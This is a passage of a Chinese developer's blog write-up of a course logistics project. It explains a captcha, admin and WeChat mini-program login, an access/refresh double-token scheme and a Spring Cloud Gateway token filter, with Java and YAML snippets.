&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;进行用户名密码校验
&lt;ol&gt;
&lt;li&gt;错误：返回前端用户名或密码错误&lt;/li&gt;
&lt;li&gt;成功：生成token，返回登录成功&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h3&gt;验证码功能的实现&lt;/h3&gt;
&lt;p&gt;这个功能的实现文档中是基于算法做的验证码，我在实际的过程中使用的是4位随机数所做的验证码，其实也大差不差&lt;/p&gt;
&lt;h4&gt;后端实现过程&lt;/h4&gt;
&lt;p&gt;从git拉取代码 &lt;code&gt;sl-express-ms-web-manager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在idea中进行基础&lt;code&gt;jdk&lt;/code&gt;、&lt;code&gt;Manven&lt;/code&gt;配置 然后就可以开始实现了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.hutool.cn/docs/#/captcha/%E6%A6%82%E8%BF%B0&quot;&gt;hutool&lt;/a&gt;验证码文档说明&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/39.png&quot; alt=&quot;39&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Override
public void createCaptcha(String key, HttpServletResponse response) throws IOException {
        //1. 生成验证码，指定宽、高、字符个数、干扰线数
        LineCaptcha lineCaptcha = CaptchaUtil.createLineCaptcha(115, 38, 0, 10);
        //1.1 自己创建一个随机数范围，验证码为四位随机数
        String random = &quot;123456789abcdefghijklmnopqrstuvwsyz&quot;;
        RandomGenerator randomGenerator = new RandomGenerator(random,4);
        lineCaptcha.setGenerator(randomGenerator);
        //1.2 获取生成的验证码值
        lineCaptcha.createCode();
        String Code = lineCaptcha.getCode();

        //2. 将验证码的值写入到redis，有效期为1分钟
        String redisKey = CAPTCHA_REDIS_KEY + key;
        this.stringRedisTemplate.opsForValue().set(redisKey, Code, Duration.ofMinutes(1));

        //输出到页面
        response.setHeader(HttpHeaders.PRAGMA, &quot;No-cache&quot;);
        response.setHeader(HttpHeaders.CACHE_CONTROL, &quot;No-cache&quot;);
        response.setDateHeader(HttpHeaders.EXPIRES, 0L);
        lineCaptcha.write(response.getOutputStream());
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在Controller中调用Service中的方法:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/40.png&quot; alt=&quot;image-20240703165756274&quot;&gt;&lt;/p&gt;
&lt;h5&gt;测试&lt;/h5&gt;
&lt;p&gt;可以看到验证码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/41.png&quot; alt=&quot;image-20240703165907670&quot;&gt;&lt;/p&gt;
&lt;p&gt;这样这么一个接口就完成了&lt;/p&gt;
&lt;p&gt;然后接下来我们还需要将前端接口进行连接&lt;/p&gt;
&lt;h4&gt;前端部署&lt;/h4&gt;
&lt;p&gt;同样的前端，我们先需要将代码拉取&lt;/p&gt;
&lt;p&gt;拉取&lt;a href=&quot;http://git.sl-express.com/sl/project-slwl-admin-vue&quot;&gt;project-slwl-admin-vue&lt;/a&gt;代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/11.png&quot; alt=&quot;image-20240717152419712&quot;&gt;&lt;/p&gt;
&lt;p&gt;修改&lt;code&gt;.env.production.stu&lt;/code&gt;文件，设置前后端交互接口改为本机地址和端口：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/44.png&quot; alt=&quot;image-20240704171035290&quot;&gt;&lt;/p&gt;
&lt;p&gt;提交到&lt;code&gt;git&lt;/code&gt;中，使用&lt;code&gt;Jenkins&lt;/code&gt;部署&lt;/p&gt;
&lt;p&gt;选择&lt;code&gt;develop&lt;/code&gt;分支，开始构建&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/45.png&quot; alt=&quot;image-20240704171130051&quot;&gt;&lt;/p&gt;
&lt;p&gt;访问地址进行测试：&lt;a href=&quot;http://admin.sl-express.com/#/login&quot;&gt;http://admin.sl-express.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/46.png&quot; alt=&quot;image-20240704171240463&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到请求为200&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/47.png&quot; alt=&quot;image-20240704171414493&quot;&gt;&lt;/p&gt;
&lt;h4&gt;登录功能实现&lt;/h4&gt;
&lt;p&gt;刚刚实现的是验证码功能，登录功能还没有实现，我们现在紧接着实现登录&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;AuthServiceImpl&lt;/code&gt;中实现代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/48.png&quot; alt=&quot;image-20240704174459771&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/49.png&quot; alt=&quot;image-20240704174515533&quot;&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;Controller&lt;/code&gt;中调用：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/50.png&quot; alt=&quot;image-20240704174750039&quot;&gt;&lt;/p&gt;
&lt;h5&gt;测试&lt;/h5&gt;
&lt;p&gt;可以看到测试有数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/51.png&quot; alt=&quot;image-20240704174842874&quot;&gt;&lt;/p&gt;
&lt;h4&gt;权限管家&lt;/h4&gt;
&lt;p&gt;权限管家是一个通用的权限管理中台服务，在权限管家中可以管理用户，管理后台系统的菜单，以及角色的管理。&lt;/p&gt;
&lt;p&gt;改造登录接口为权限管家的接口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/52.png&quot; alt=&quot;image-20240705150255954&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试&lt;/p&gt;
&lt;p&gt;可以看到测试成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/53.png&quot; alt=&quot;image-20240705150518581&quot;&gt;&lt;/p&gt;
&lt;p&gt;到这里我们的登录接口也完成了&lt;/p&gt;
&lt;h2&gt;用户端登录和统一网关&lt;/h2&gt;
&lt;p&gt;问题&lt;/p&gt;
&lt;p&gt;首先是最开始的微信小程序，&lt;/p&gt;
&lt;p&gt;在登录接口和小程序登录代码实现完成后&lt;/p&gt;
&lt;p&gt;小程序还是会出现400系列错误问题&lt;/p&gt;
&lt;p&gt;然后就是token实现后不出token的问题&lt;/p&gt;
&lt;h5&gt;解决&lt;/h5&gt;
&lt;p&gt;对于登录后还是会出现400系错误的问题&lt;/p&gt;
&lt;p&gt;这个是由于此项目是我们学校老师为我们配置后出现的小程序账号、密钥不同的原因，导致数据不能正常进行传递引发的客户端错误&lt;/p&gt;
&lt;p&gt;通过项目测试打印出账号，进行更换实现成功配置&lt;/p&gt;
&lt;p&gt;（这边报错的图忘记截出来了只有最后的实现了）&lt;/p&gt;
&lt;h3&gt;实现流程&lt;/h3&gt;
&lt;p&gt;接下来就该实现用户端的登录和网关配置&lt;/p&gt;
&lt;p&gt;因为用户端是基于微信小程序开发的&lt;/p&gt;
&lt;p&gt;微信小程序登录的流程：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/12.png&quot; alt=&quot;image-20240717155248822&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;点击按钮动态获取phoneCode&lt;/li&gt;
&lt;li&gt;wx.login()获取登录code&lt;/li&gt;
&lt;li&gt;request向后端发送code、phoneCode&lt;/li&gt;
&lt;li&gt;后端接收并校验登录凭据appid+appsecret+code&lt;/li&gt;
&lt;li&gt;微信接口进行处理&lt;/li&gt;
&lt;li&gt;返回session_key+openid等&lt;/li&gt;
&lt;li&gt;通过openid 向数据库进行用户查询&lt;/li&gt;
&lt;li&gt;后端接收返回用户信息，如果是不存在说明新用户，返回null&lt;/li&gt;
&lt;li&gt;后端向微信接口获取用户手机号接口&lt;/li&gt;
&lt;li&gt;微信进行内部处理&lt;/li&gt;
&lt;li&gt;返回手机号&lt;/li&gt;
&lt;li&gt;后端新增用户或更新用户手机号&lt;/li&gt;
&lt;li&gt;生成token&lt;/li&gt;
&lt;li&gt;将token传入微信小程序&lt;/li&gt;
&lt;li&gt;微信小程序wx.request()请求头携带token&lt;/li&gt;
&lt;li&gt;后端校验token，获取到openid&lt;/li&gt;
&lt;li&gt;后端进行处理&lt;/li&gt;
&lt;li&gt;将响应数据返回微信小程序&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h3&gt;登录实现&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;env.js&lt;/code&gt;中修改本地接口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/1.png&quot; alt=&quot;image-20240706174048764&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到本地请求为502&lt;/p&gt;
&lt;p&gt;这是由于本地网关并没有配置导致的后面会进行配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/2.png&quot; alt=&quot;image-20240706174430919&quot;&gt;&lt;/p&gt;
&lt;p&gt;请求参数（2个参数，code：登录临时凭证，phoneCode：获取手机号的凭证）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/3.png&quot; alt=&quot;image-20240706174413712&quot;&gt;&lt;/p&gt;
&lt;p&gt;拉取后端代码 &lt;a href=&quot;http://git.sl-express.com/sl/sl-express-ms-web-customer&quot;&gt;sl-express-ms-web-customer&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;登录接口&lt;/h4&gt;
&lt;p&gt;登录接口的实现是在&lt;code&gt;com.sl.ms.web.customer.controller.UserController#login&lt;/code&gt;中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/4.png&quot; alt=&quot;image-20240706174821877&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到代码是由&lt;code&gt;UserLoginVO&lt;/code&gt;响应数据对象和&lt;code&gt;UserLoginRequestVO&lt;/code&gt;请求参数对象组成&lt;/p&gt;
&lt;p&gt;我们现看看&lt;code&gt;UserLoginVO&lt;/code&gt;响应数据对象&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class UserLoginVO {

    @ApiModelProperty(&quot;微信唯一标识符&quot;)
    private String openid;
    @ApiModelProperty(&quot;短令牌，有效期较短&quot;)
    private String accessToken;
    @ApiModelProperty(&quot;长令牌，有效期较长&quot;)
    private String refreshToken;
    @ApiModelProperty(&quot;是否绑定手机号 0否 1是&quot;)
    private Integer binding;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;UserLoginRequestVO&lt;/code&gt;请求参数对象组成&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.Data;

/**
 * C端用户登录
 */
@Data
public class UserLoginRequestVO {

    @ApiModelProperty(&quot;登录临时凭证&quot;)
    private String code;

    @ApiModelProperty(&quot;手机号临时凭证&quot;)
    private String phoneCode;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;用户微服务&lt;/h4&gt;
&lt;p&gt;用户端通过微信登陆流程图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/5.png&quot; alt=&quot;流程图&quot;&gt;&lt;/p&gt;
&lt;p&gt;在Jenkins部署&lt;a href=&quot;http://git.sl-express.com/sl/sl-express-ms-user-service&quot;&gt;sl-express-ms-user-service&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/6.png&quot; alt=&quot;image-20240708105311036&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/7.png&quot; alt=&quot;image-20240708105407141&quot;&gt;&lt;/p&gt;
&lt;p&gt;数据库已在服务器部署&lt;/p&gt;
&lt;h4&gt;小程序登录&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Value(&quot;${sl.wechat.appid}&quot;)
private String appid;
@Value(&quot;${sl.wechat.secret}&quot;)
private String secret;

public static final String LOGIN_URL = &quot;https://api.weixin.qq.com/sns/jscode2session&quot;;
private static final int TIMEOUT = 20000;

@Override
public JSONObject getOpenid(String code) throws IOException {
    //文档：https://developers.weixin.qq.com/miniprogram/dev/OpenApiDoc/user-login/code2Session.html
    //1. 封装参数
    Map&amp;#x3C;String, Object&gt; requestParam = MapUtil.&amp;#x3C;String, Object&gt;builder().put(&quot;appid&quot;, this.appid) //小程序 appId
            .put(&quot;secret&quot;, this.secret) //小程序 appSecret
            .put(&quot;js_code&quot;, code) //	登录时获取的 code，可通过wx.login获取
            .put(&quot;grant_type&quot;, &quot;authorization_code&quot;) //授权类型
            .build();

    //2. 发送get请求
    HttpResponse response = HttpRequest.get(LOGIN_URL) //设置get请求url
            .form(requestParam) //设置表单参数
            .timeout(TIMEOUT) //设置超时时间，20s
            .execute();//执行请求
    if (response.isOk()) {
        // 3. 解析响应的结果，如果出现错误抛出异常
        JSONObject jsonObject = JSONUtil.parseObj(response.body());
        if (jsonObject.containsKey(&quot;errcode&quot;)) {
            throw new SLWebException(jsonObject.toString());
        }
        return jsonObject;
    }
    String errMsg = StrUtil.format(&quot;调用微信登录接口出错！ code = {}&quot;, code);
    throw new SLWebException(errMsg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/8.png&quot; alt=&quot;image-20240708105610880&quot;&gt;&lt;/p&gt;
&lt;p&gt;通过小程序登录测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/9.png&quot; alt=&quot;image-20240708105827124&quot;&gt;&lt;/p&gt;
&lt;h5&gt;获取手机号&lt;/h5&gt;
&lt;p&gt;想要获取到手机号的要先获取到微信access_token，在获取到手机号，否则获取不到&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/10.png&quot; alt=&quot;image-20240709104615345&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/11.png&quot; alt=&quot;image-20240709104632774&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;    @Test
    void getPhone() throws IOException {
        //在测试用例中输入自己获取到的 phonecode
        String phone = wechatService.getPhone(&quot;1aaaaa1111&quot;);
        System.out.println(phone);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;实现登录&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.MemberServiceImpl&lt;/code&gt;#login&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/12.png&quot; alt=&quot;image-20240709104923601&quot;&gt;&lt;/p&gt;
&lt;p&gt;生成token实现，这里采用的是RSA加密方式（密钥信息在nacos中的&lt;code&gt;sl-express-ms-web-customer.properties&lt;/code&gt;配置）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.TokenServiceImp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/13.png&quot; alt=&quot;image-20240709105243144&quot;&gt;&lt;/p&gt;
&lt;p&gt;启动服务，在小程序进行测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/14.png&quot; alt=&quot;image-20240709105534105&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到登录成功&lt;/p&gt;
&lt;h4&gt;双token三验证&lt;/h4&gt;
&lt;h5&gt;单token存在的问题&lt;/h5&gt;
&lt;p&gt;在日常使用中，我们会频繁的进行登录，而在登录的过程中，会先生成jwt的token，前端接收到token将其保存下来，在进行后端服务请求的时候，在请求中携带token，服务端对token进行校验和鉴权，这种模式叫做 &lt;code&gt;单token模式&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在单token模式中，会出现token有效时间的问题，有效时间&lt;code&gt;太短&lt;/code&gt;容易过期，&lt;code&gt;太长&lt;/code&gt;容易被攻击截取。&lt;/p&gt;
&lt;p&gt;在另一方面，token是无状态的，就是说我们不能自如的控制token的状态，无法让他主动失效。&lt;/p&gt;
&lt;h5&gt;方案设计&lt;/h5&gt;
&lt;p&gt;解决问题&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;token有效期长不安全&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;登录成功后，生成2个token，分别是：access_token、refresh_token，前者有效期短（如：5分钟），后者的有效期长（如：24小时）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;正常请求后端服务时，携带access_token，如果发现access_token失效，就通过refresh_token到后台服务中换取新的access_token和refresh_token，这个可以理解为token的续签&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;以此往复，直至refresh_token过期，需要用户重新登录&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;token的无状态性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;为了使token有状态，也就是后端可以控制其提前失效，需要将refresh_token设计成只能&lt;strong&gt;使用一次&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;需要将refresh_token存储到redis中，并且要设置过期时间&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这样的话，服务端如果检测到用户token有安全隐患（如：异地登录），只需要将refresh_token失效即可&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;代码实现&lt;/h4&gt;
&lt;h5&gt;生成刷新token&lt;/h5&gt;
&lt;p&gt;生成刷新refresh_token的主要逻辑有两点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;生成jwt格式的token，有效期时间一般小时为单位&lt;/li&gt;
&lt;li&gt;将token存入到redis，使token有状态，并且确保只能使用一次&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.TokenServiceImpl&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public static final String REDIS_REFRESH_TOKEN_PREFIX = &quot;SL_CUSTOMER_REFRESH_TOKEN_&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/15.png&quot; alt=&quot;image-20240709111838201&quot;&gt;&lt;/p&gt;
&lt;h5&gt;刷新token&lt;/h5&gt;
&lt;p&gt;刷新token的动作是在refresh_token过期之后进行的，主要实现关键点有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;校验refresh_token是否被伪造以及是否在有效期内&lt;/li&gt;
&lt;li&gt;从redis中查询，是否不存在，如果不存在说明已经失效或已经使用过，如果存在，就需要将其删除&lt;/li&gt;
&lt;li&gt;重新生成一对token，响应结果&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.TokenServiceImpl&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/16.png&quot; alt=&quot;image-20240709112251066&quot;&gt;&lt;/p&gt;
&lt;p&gt;在Controller中调用上述方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.controller.UserController&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/17.png&quot; alt=&quot;image-20240709112416024&quot;&gt;&lt;/p&gt;
&lt;p&gt;Service中调用&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.MemberServiceImpl&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/18.png&quot; alt=&quot;image-20240709112532232&quot;&gt;&lt;/p&gt;
&lt;h4&gt;完善用户端登录&lt;/h4&gt;
&lt;p&gt;用户端登录成功后，需要在补一个token，之前已经写过一个了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/19.png&quot; alt=&quot;image-20240710082924254&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/20.png&quot; alt=&quot;image-20240710083035707&quot;&gt;&lt;/p&gt;
&lt;h4&gt;网关&lt;/h4&gt;
&lt;h5&gt;网关作用&lt;/h5&gt;
&lt;p&gt;网关能够更好的管理项目分配，每一个客户端都将通过网关传递到服务端&lt;/p&gt;
&lt;p&gt;网关就是每个客户端的中间商，他还能对&lt;code&gt;token&lt;/code&gt;、以及&lt;code&gt;用户的权限&lt;/code&gt;进行有效的校验&lt;/p&gt;
&lt;p&gt;比如说：司机不能登录到快递员端，快递员不能登录到司机端&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/21.png&quot; alt=&quot;image-20240710095125453&quot;&gt;&lt;/p&gt;
&lt;h5&gt;拉取代码&lt;/h5&gt;
&lt;p&gt;从&lt;a href=&quot;http://git.sl-express.com/sl/sl-express-gateway.git&quot;&gt;sl-express-gateway&lt;/a&gt;中拉取网关代码：&lt;/p&gt;
&lt;p&gt;拉取代码后，创建develop分支进行开发&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bootstrap-local.yml&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;server:
  port: 9527
  tomcat:
    uri-encoding: UTF-8
    threads:
      max: 1000
      min-spare: 30
spring:
  cloud:
    nacos:
      username: nacos
      password: nacos
      server-addr: 192.168.150.101:8848
      discovery:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
        ip: 192.168.150.1
      config:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
    gateway:
      routes:
        - id: sl-express-ms-web-manager #路由标识，需要唯一
          uri: lb://sl-express-ms-web-manager #最终请求转发的微服务，指定的是微服务名，并开启负载均衡
          predicates: #断言
            - Path=/manager/**
          filters: #配置过滤器
            - ManagerToken #自定义局部过滤器
            - StripPrefix=1 #去掉第一个路径，例如：/manager/user/login -转发到下游微服务-&gt; /user/login
            - AddRequestHeader=X-Request-From, sl-express-gateway #转发到下游微服务携带的请求头，增强安全性
      globalcors:
        cors-configurations:
          &apos;[/**]&apos;:
            allowed-origin-patterns: &apos;*&apos;
            allowed-headers: &apos;*&apos;
            allow-credentials: true
            allowed-methods:
              - GET
              - POST
              - DELETE
              - PUT
              - OPTION
      discovery:
        locator:
          enabled: true #表明gateway开启服务注册和发现的功能，并且spring cloud gateway自动根据服务发现为每一个服务创建了一个router，这个router将以服务名开头的请求路径转发到对应的服务
itcast:
  authority:
    host: ${authority.host} #authority服务地址,根据实际情况更改
    port: ${authority.port} #authority服务端口
    timeout: ${authority.timeout} #http请求的超时时间
    public-key-file: auth/pub.key
    applicationId: ${authority.applicationId}

#角色id
role:
  manager: ${role.manager}
  courier: ${role.courier}
  driver: ${role.driver}

sl:
  noAuthPaths:
    - /courier/login/account
    - /courier/swagger-ui.html
    - /courier/webjars/
    - /courier/swagger-resources
    - /courier/v2/api-docs
    - /courier/doc.html
    - /customer/user/login
    - /customer/user/refresh
    - /customer/swagger-ui.html
    - /customer/webjars/
    - /customer/swagger-resources
    - /customer/v2/api-docs
    - /customer/doc.html
    - /driver/login/account
    - /driver/swagger-ui.html
    - /driver/webjars/
    - /driver/swagger-resources
    - /driver/v2/api-docs
    - /driver/doc.html
    - /manager/login
    - /manager/webjars/
    - /manager/swagger-resources
    - /manager/v2/api-docs
    - /manager/doc.html
    - /manager/captcha
  jwt:
    public-key: ${sl.jwt.user-secret-key}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;自定义过滤器配置&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/22.png&quot; alt=&quot;image-20240710095615927&quot;&gt;&lt;/p&gt;
&lt;h5&gt;过滤器实现&lt;/h5&gt;
&lt;p&gt;在过滤器中主要实现以下几个功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;白名单放行&lt;/li&gt;
&lt;li&gt;请求头中的token是否有效&lt;/li&gt;
&lt;li&gt;权限是否匹配（校验角色）&lt;/li&gt;
&lt;li&gt;向下游微服务传递解析token的数据以及token值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;代码实现：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;/**
 * 管理端token校验的过滤器
 */
@Component
public class ManagerTokenGatewayFilterFactory extends AbstractGatewayFilterFactory&amp;#x3C;Object&gt; {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value(&quot;${role.manager}&quot;)
    private List&amp;#x3C;Long&gt; managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public GatewayFilter apply(Object config) {
        return (exchange, chain) -&gt; {
            //1. 校验请求路径，如果是白名单，直接放行
            String path = exchange.getRequest().getPath().toString();
            if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
                //直接放行
                return chain.filter(exchange);
            }

            //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
            String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
            if (StrUtil.isEmpty(token)) {
                //设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }
            //校验token
            AuthUserInfoDTO authUserInfoDTO = null;
            try {
                authUserInfoDTO = this.tokenCheckService.parserToken(token);
            } catch (Exception e) {
                //token不可用，不做处理
            }

            if (ObjectUtil.isEmpty(authUserInfoDTO)) {
                //token不可用，设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }

            //3. 校验权限，如果是非管理员不能登录
            AuthTemplate authTemplate = AuthTemplateFactory.get(token);
            //3.1 获取用户拥有的角色id列表
            List&amp;#x3C;Long&gt; roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
            //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
            Collection&amp;#x3C;Long&gt; intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
            if (CollUtil.isEmpty(intersection)) {
                //无交集，说明没有权限，设置响应状态码为400
                exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
                return exchange.getResponse().setComplete();
            }

            //4. 校验通过，向下游传递用户信息和token
            exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
            exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
            //4.1 校验通过放行
            return chain.filter(exchange);
        };
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;测试&lt;/h5&gt;
&lt;p&gt;将网关启动，测试http://127.0.0.1:9527/manager/doc.html#/home看能不能正常看到页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/23.png&quot; alt=&quot;image-20240710100121839&quot;&gt;&lt;/p&gt;
&lt;p&gt;配置前端&lt;/p&gt;
&lt;p&gt;将测试URL改为&lt;code&gt;VUE_APP_BASE_URL = &apos;http://192.168.150.1:9527/manager&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/24.png&quot; alt=&quot;image-20240710100159599&quot;&gt;&lt;/p&gt;
&lt;p&gt;将代码上传git&lt;/p&gt;
&lt;p&gt;在Jenkins构造项目&lt;/p&gt;
&lt;p&gt;访问http://admin.sl-express.com/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/25.png&quot; alt=&quot;image-20240710100755861&quot;&gt;&lt;/p&gt;
&lt;p&gt;验证码端口可以看到是9527，部署成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/26.png&quot; alt=&quot;image-20240710100922312&quot;&gt;&lt;/p&gt;
&lt;h4&gt;代码优化&lt;/h4&gt;
&lt;h5&gt;优化一&lt;/h5&gt;
